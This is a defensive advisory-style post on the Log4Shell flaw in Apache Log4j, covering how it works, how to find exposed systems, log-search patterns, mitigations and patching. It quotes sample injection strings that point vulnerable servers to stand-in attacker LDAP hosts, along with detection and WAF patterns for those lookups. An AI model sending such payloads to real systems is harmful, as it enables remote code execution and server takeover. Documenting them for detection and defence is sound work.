Last Thursday, a critical vulnerability in Apache Log4j was publicly disclosed. CVE-2021-44228, nicknamed “Log4Shell,” is a remote code execution vulnerability affecting Log4j 2.x versions prior to 2.15.0. It’s trivial to exploit, extremely widespread, and already being actively exploited.
Here’s what you need to know and do.
Understanding the Vulnerability
What Is It?
vulnerability_summary:
cve: CVE-2021-44228
cvss: 10.0 (Critical)
affected: Apache Log4j 2.0-beta9 to 2.14.1
type: Remote Code Execution (RCE)
mechanism:
- Log4j supports JNDI lookups in log messages
- Attacker sends malicious string: ${jndi:ldap://attacker.com/exploit}
- Log4j fetches and executes remote code
- Full server compromise possible
severity: |
- Trivial to exploit (single HTTP request)
- Unauthenticated
- No user interaction required
- Log4j is ubiquitous in Java ecosystem
Attack Vector
Attacker sends malicious request:
GET /api/users HTTP/1.1
User-Agent: ${jndi:ldap://evil.com/a}
│
▼
Application logs the User-Agent:
log.info("Request from: " + userAgent);
│
▼
Log4j sees ${jndi:ldap://...} and makes request:
LDAP lookup to evil.com
│
▼
Evil LDAP server returns malicious Java class:
Server compromised via RCE
Why It’s So Bad
severity_factors:
ubiquity:
- Log4j is in countless Java applications
- Many don't know they have it (transitive dep)
- Cloud services, enterprise software, everything
ease_of_exploitation:
- Single request
- Many injection points (headers, params, anything logged)
- Scanners and exploits widely available
impact:
- Full remote code execution
- Run any command on server
- Lateral movement, data exfiltration
- Already being used for cryptominers, ransomware
Detection
Finding Vulnerable Systems
# Search for Log4j in your codebase
# Java projects
find . -name "pom.xml" -exec grep -l "log4j" {} \;
find . -name "build.gradle" -exec grep -l "log4j" {} \;
# JAR files
find . -name "log4j*.jar" -o -name "*log4j*"
# Check Log4j version in JAR
unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep "Implementation-Version"
# Scan containers
for image in $(docker images --format "{{.Repository}}:{{.Tag}}"); do
echo "Scanning $image"
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
aquasec/trivy image --severity CRITICAL $image | grep -i log4j
done
Scanning Tools
scanning_tools:
syft_grype:
# Generate SBOM and scan
commands:
- syft packages dir:. -o json > sbom.json
- grype sbom:sbom.json
trivy:
# Container and filesystem scanning
command: trivy fs --severity CRITICAL .
log4j_scan:
# Specific Log4j scanner
repo: https://github.com/fullhunt/log4j-scan
usage: python3 log4j-scan.py -u https://target.com
nessus_qualys:
- Commercial scanners have Log4j plugins
- Scan your network
Log Analysis
# Search logs for exploitation attempts
log_patterns:
- "${jndi:"
- "${jndi:ldap:"
- "${jndi:rmi:"
- "${jndi:dns:"
- "${lower:j}" # Obfuscation attempt
- "${::-j}" # Obfuscation attempt
# CloudWatch Logs Insights
cloudwatch_query: |
fields @timestamp, @message
| filter @message like /\$\{jndi:/
| sort @timestamp desc
| limit 1000
# Splunk
splunk_query: |
index=* "${jndi:" OR "${lower:" OR "${upper:"
| stats count by sourcetype, source
Immediate Response
Step 1: Identify Exposure
priority_assessment:
critical:
- Internet-facing Java applications
- Applications processing user input
- Services with known Log4j usage
high:
- Internal Java applications
- Build systems
- CI/CD pipelines
medium:
- Development environments
- Internal tools
Step 2: Mitigate
mitigation_options:
option_1_upgrade:
action: Upgrade to Log4j 2.17.0+
pros: Complete fix
cons: May require testing, downtime
recommendation: Best option if feasible
option_2_jvm_flag:
action: Set JVM flag
command: -Dlog4j2.formatMsgNoLookups=true
pros: Quick, no code change
cons: Doesn't work for all versions
note: Works for 2.10.0+
option_3_remove_class:
action: Remove JndiLookup class from JAR
command: |
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
pros: Works for older versions
cons: Modifies JAR
option_4_waf:
action: Block patterns at WAF/proxy
patterns:
- "${jndi:"
- Various obfuscation patterns
pros: Quick protection
cons: Can be bypassed, false positives
note: Defense in depth only
priority: Upgrade > JVM flag > Remove class > WAF
Step 3: Patch
<!-- Maven: Update to 2.17.0+ -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version>
</dependency>
<!-- Force transitive dependency version -->
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
</dependencies>
</dependencyManagement>
// Gradle: Force version
configurations.all {
resolutionStrategy.eachDependency { DependencyResolveDetails details ->
if (details.requested.group == 'org.apache.logging.log4j') {
details.useVersion '2.17.1'
}
}
}
Kubernetes/Container Response
# Patch running containers
immediate_actions:
- Rebuild and redeploy images with patched Log4j
- For running pods, use JVM flag via environment:
env:
- name: JAVA_TOOL_OPTIONS
value: "-Dlog4j2.formatMsgNoLookups=true"
# Network policy to block outbound LDAP/RMI
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-suspicious-outbound
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 10.0.0.0/8 # Internal only
- ports:
- port: 443
- port: 53
protocol: UDP
# Block: 389 (LDAP), 636 (LDAPS), 1099 (RMI)
Vendor/Third-Party Software
vendor_assessment:
questions:
- Does your software use Log4j?
- What version?
- When will you release a patch?
- What mitigations are available now?
common_affected:
- VMware products
- Cisco products
- Apache products (Solr, Kafka, etc.)
- Elastic products
- Many enterprise software
resources:
- Vendor security advisories
- CISA affected products list
- Community-maintained lists
Lessons for the Future
takeaways:
dependency_awareness:
- Know what's in your software
- Software Bill of Materials (SBOM)
- Regular dependency scanning
defense_in_depth:
- Network segmentation
- Egress filtering
- Runtime protection
incident_readiness:
- Asset inventory
- Rapid deployment capability
- Communication plans
supply_chain:
- Transitive dependencies matter
- Open source security is everyone's job
- Invest in dependency management
Key Takeaways
- Log4j vulnerability (CVE-2021-44228) is critical—10.0 CVSS, RCE, trivial to exploit
- Scan everything: applications, containers, dependencies, vendors
- Upgrade to Log4j 2.17.0+ as the primary fix
- Use JVM flag as temporary mitigation:
-Dlog4j2.formatMsgNoLookups=true - WAF rules help but can be bypassed—not a substitute for patching
- Monitor logs for exploitation attempts
- Contact vendors about their exposure and patch timelines
- This highlights the importance of knowing your dependencies
- SBOM and continuous dependency scanning are essential
- Incident response capability (rapid patching) is critical
This is a “drop everything” vulnerability. If you haven’t already, start scanning and patching now.